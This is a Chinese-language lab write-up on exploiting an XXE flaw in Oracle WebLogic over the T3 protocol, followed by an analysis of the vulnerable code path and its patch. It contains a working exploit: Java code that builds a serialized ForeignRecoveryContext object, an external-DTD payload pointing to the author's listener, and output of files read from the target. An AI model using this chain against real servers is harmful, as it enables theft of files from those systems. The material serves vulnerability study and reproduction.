weblogic之XXE利用与分析

本篇文章漏洞环境使用p神的CVE-2018-2628

本机IP:192.168.202.1

被攻击主机IP:192.168.202.129

一、 xxer工具

1.1 简介

xxer能快速搭建起xxe的盲注环境,下载地址:https://github.com/TheTwitchy/xxer

工具使用python2启动,-h可查看帮助信息

C:\Users\asus\Desktop\xxer-master>python2 xxer.py -h
usage: xxer [-h] [-v] [-q] [-p HTTP] [-P FTP] -H HOSTNAME [-d DTD] XXE Injection Handler optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-q, --quiet surpress extra output
-p HTTP, --http HTTP HTTP server port
-P FTP, --ftp FTP FTP server port
-H HOSTNAME, --hostname HOSTNAME
Hostname of this server
-d DTD, --dtd DTD the location of the DTD template. client_file
templates allow the filename to be specified by the
XXE payload instead of restarting the server Originally from https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-
server.rb, rewritten in Python by TheTwitchy

可以指定端口号,DTD模板等。其中DTD模板格式为工具目录下的ftp.dtd.template

默认是查看/tmp目录下的内容,可以修改为具体的文件

运行工具后会生成ext.dtd

1.2 使用示例

使用python2启动xxer,指定http端口号为8989,本机地址为192.168.202.1

python2 xxer.py -p 8989 -H 192.168.202.1

如图,启动了http和ftp端口分别为8989与2121,并且生成了xml的payload

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.202.1:8989/ext.dtd">%aaa;%ccc;%ddd;]>

二、漏洞复现

环境配置

新建项目,JKD版本选择1.6.0_45,需要导入weblogic中的jar包,不然exp会缺少依赖包

  • Middleware/wlserver_10.3/modules
  • Middleware/wlserver_10.3/server/lib
  • Middleware/modules目录

新建一个WeblogicXXE1.java,使用weblogic.wsee.wstx.internal.ForeignRecoveryContext类作为利用点

import weblogic.wsee.wstx.wsat.Transactional;
import java.lang.reflect.Field;
import javax.transaction.xa.Xid;
import javax.xml.transform.Result;
import javax.xml.transform.stream.StreamResult;
import javax.xml.ws.EndpointReference;
import java.io.*; public class WeblogicXXE1 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
out.writeObject(instance);
out.flush();
out.close();
} public static class MyEndpointReference extends EndpointReference{
@Override
public void writeTo(Result result) {
byte[] tmpbytes = new byte[4096];
int nRead;
try{
InputStream is = new FileInputStream(new File("./test.xml")); while((nRead=is.read(tmpbytes,0,tmpbytes.length)) != -1){
((StreamResult)result).getOutputStream().write(tmpbytes,0,nRead);
}
}catch (Exception e){
e.printStackTrace();
}
}
} public static Object getXXEObject() {
int klassVersion = 1032;
Xid xid = new weblogic.transaction.internal.XidImpl();
Transactional.Version v = Transactional.Version.DEFAULT;
byte[] tid = new byte[]{65};
weblogic.wsee.wstx.internal.ForeignRecoveryContext frc = new weblogic.wsee.wstx.internal.ForeignRecoveryContext();
try{
Field f = frc.getClass().getDeclaredField("fxid");
f.setAccessible(true);
f.set(frc,xid);
Field f1 = frc.getClass().getDeclaredField("epr");
f1.setAccessible(true);
f1.set(frc,(EndpointReference)new MyEndpointReference());
Field f2 = frc.getClass().getDeclaredField("version");
f2.setAccessible(true);
f2.set(frc,v);
}catch(Exception e){
e.printStackTrace();
}
return frc;
}
}

重点在于代码中的test.xml,这里使用了xxer工具生成的xml

python2 xxer.py -p 8989 -H 192.168.202.1

复制xml到D:/test.xml

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://192.168.202.1:8989/ext.dtd">%aaa;%ccc;%ddd;]>

注意修改WeblogicXXE1中的文件地址

运行java文件即可生成XXE文件

如果出现报错:Error running 'WeblogicXXE1': Command line is too long. Shorten command line for WeblogicXXE1 or also for Application default configuration?

解决方法:找到项目下的.idea/workspace.xml,在标签<component name="PropertiesComponent">里添加一行属性:<property name="dynamic.classpath" value="true" />

<component name="PropertiesComponent">
其它属性不改
<property name="dynamic.classpath" value="true" />
</component>

漏洞复现

利用xxer开启http及ftp服务:

python2 xxer.py -p 8989 -H 192.168.202.1

使用weblogic.py发送之前生成的xxe

这边xxer就会收到服务器返回的内容

第一个框框就是tmp目录下的文件(pass后面的参数,以单引号作为分隔)

'PASS 1.txt
bea1061393648233859820.tmp
cookie.txt
hsperfdata_root
packages
wlstTemproot'

第二个箭头指的就是内网的ip:172.20.0.2

可以修改ext.dtd中的file://来指定读取的文件

读取到了yangyang

三、漏洞分析

ForeignRecoveryContext这个类就是上面漏洞复现使用的解析类,入口点在readExternal方法,T3协议反序列化后执行到ForeignRecoveryContext#readExternal,在readExternal方法中调用了EndpointReference.readFrom

跟进EndpointReference.readFrom方法

继续跟进readEndpointReference方法,此方法中调用了Unmarshaller#unmarshal并传入了xml的流对象进行处理,

虽然Unmarshaller在JDK8及以上是默认禁止加载外部DTD的,而此处的weblogic环境java版本为1.6.0_45,所以存在漏洞。导致解析了xml后加载了外部DTD造成XXE攻击。

修复后,补丁新加了WSATStreamHelper#convert方法来处理,WSATStreamHelper#convert方法中对xxe做了相应的防护

WSATStreamHelper#convert的防护代码

还有其他的几个类也导致了XXE,原理都大致相同,这里就不进行分析了。具体可以看这几篇文章:

https://blog.csdn.net/qq_43380549/article/details/100130730

https://www.cnblogs.com/tr1ple/p/12522623.html#Yy5ZjKt6

参考:

https://blog.csdn.net/qq_43380549/article/details/100130730

https://www.cnblogs.com/tr1ple/p/12522623.html#Yy5ZjKt6

weblogic之XXE利用与分析的更多相关文章

  1. 【vulhub】Weblogic CVE-2017-10271漏洞复现&&流量分析

    Weblogic CVE-2017-10271 漏洞复现&&流量分析 Weblogic CVE-2017-10271 XMLDecoder反序列化 1.Weblogic-XMLDeco ...

  2. 利用BLKTRACE分析IO性能

    在Linux系统上,如果I/O发生性能问题,有没有办法进一步定位故障位置呢?iostat等最常用的工具肯定是指望不上的,[容易被误读的iostat]一文中解释过await表示单个I/O所需的平均时间, ...

  3. 利用 SPICE 分析理解心电图前端中的右腿驱动

      [导读] 心电图(ECG)学是一门将心脏离子去极(ionic depolarization) 后转换为分析用可测量电信号的科学.模拟电子接口到电极/患者设计中最为常见的难题之一便是优化右腿驱动 ( ...

  4. weblogic CVE-2018-2628漏洞利用工具

    weblogic CVE-2018-2628漏洞利用 漏洞环境: Windows2018R2 weblogic10.3.6 漏洞利用过程: 搭建好存在CVE-2018-2628漏洞的weblogic平 ...

  5. Java性能调优:利用JMC分析性能

    Java性能调优作为大型分布式系统提供高性能服务的必修课,其重要性不言而喻. 好的分析工具能起到事半功倍的效果,利用分析利器JMC.JFR,可以实现性能问题的准确定位. 本文主要阐述如何利用JMC分析 ...

  6. [转] 利用BLKTRACE分析IO性能

    在Linux系统上,如果I/O发生性能问题,有没有办法进一步定位故障位置呢?iostat等最常用的工具肯定是指望不上的,[容易被误读的iostat]一文中解释过await表示单个I/O所需的平均时间, ...

  7. 利用windbg分析崩溃,句柄泄漏,死锁,CPU高,内存泄漏

    Windbg的一些简单使用命令 一.崩溃 1.  输入.ecxr;kbn得到崩溃的堆栈 其中源代码如下 2.  查看堆栈和源代码,发现第0帧导致崩溃,代码也是本地代码 输入.frame  0,切到第0 ...

  8. 利用预测分析改进欠款催收策略,控制欺诈风险和信贷风险—— Altair Knowledge Studio 预测分析和机器学习

    前提摘要 在数字经济新时代,金融服务主管正在寻求方法去细分他们的产品和市场,保持与客户的联系,寻找能够推动增长和收入的新市场,并利用可以增加优势和降低风险的新技术. 在拥有了众多可用数据之后,金融机构 ...

  9. 利用dotnet-dump分析docker容器内存泄露

    目录 一 运行官方示例 1,Clone代码并编译 2,创建Dockerfile构建镜像 3,启动容器 二 生成dump转储文件 1,制造问题 2,创建dump文件 三 分析dump文件 1,创建一个用 ...

随机推荐

  1. MarkDown语法(Typora软件为例)

    Hello    !我又来了 这篇文章主要给大家讲一下MarkDown的一些基础语法,MarkDown语法是一种轻量级标记语言,它允许人们使用易读易写的纯文本格式编写文档,然后转换成有效的XHTML( ...

  2. Android开发音视频方向学习路线及资源分享,学完还怕什么互联网寒冬?

    接触Android音视频这一块已经有一段时间了,跟普通的应用层开发相比,的确更花费精力.期间为了学习音视频的录制,编码,处理也看过大大小小的几十个项目.总体感觉就是知识比较零散,对刚入门的朋友比较不友 ...

  3. 【Android面试查漏补缺】之事件分发机制详解

    前言 查漏补缺,查漏补缺,你不知道哪里漏了,怎么补缺呢?本文属于[Android面试查漏补缺]系列文章第一篇,持续更新中,感兴趣的朋友可以[关注+收藏]哦~ 本系列文章是对自己的前段时间面试经历的总结 ...

  4. View epub and mobi File on Linux

    Calibre has stand-alone ebook viewer "ebook-viewer", start it in terminal: $ ebook-viewer ...

  5. Axure RP 9 安装

    安装好的样子 官方安装包下载地址(速度较慢) 下载Axure RP 9 MAC版:https://axure.cachefly.net/AxureRP-Setup.dmg 下载Axure RP 9 P ...

  6. 从MySQL大量数据清洗到TiBD说起

    从MySQL大量数据清洗到TiBD说起 一.业务场景: 公司主要做的业务是类似贝壳的二手房租售,公司数据库存了上亿级别的房源数据,之前的数据库使用的是 mysql,后面需要将mysql数据库切换成了 ...

  7. MySQL05

    SQL字段相关语句 添加字段 alter table 表名 add 字段名 数据类型 约束条件; 修改字段 alter table 表名 modify 字段 数据类型 约束条件; # modify只能 ...

  8. 从一次netty 内存泄露问题来看netty对POST请求的解析

    背景 最近生产环境一个基于 netty 的网关服务频繁 full gc 观察内存占用,并把时间维度拉的比较长,可以看到可用内存有明显的下降趋势 出现这种情况,按往常的经验,多半是内存泄露了 问题定位 ...

  9. gitlab-ci集成SonarQube代码质量检查

    SonarQube是管理代码质量一个开放平台,可以快速的定位代码中潜在的或者明显的错误. docker安装 1.拉取 postgres:docker pull postgres:10 2.拉取sona ...

  10. SQL Server中的distinct(不允许重复)

    参考网址:https://blog.csdn.net/tswc_byy/article/details/81835023 一.建库和建表create database scortuse scortcr ...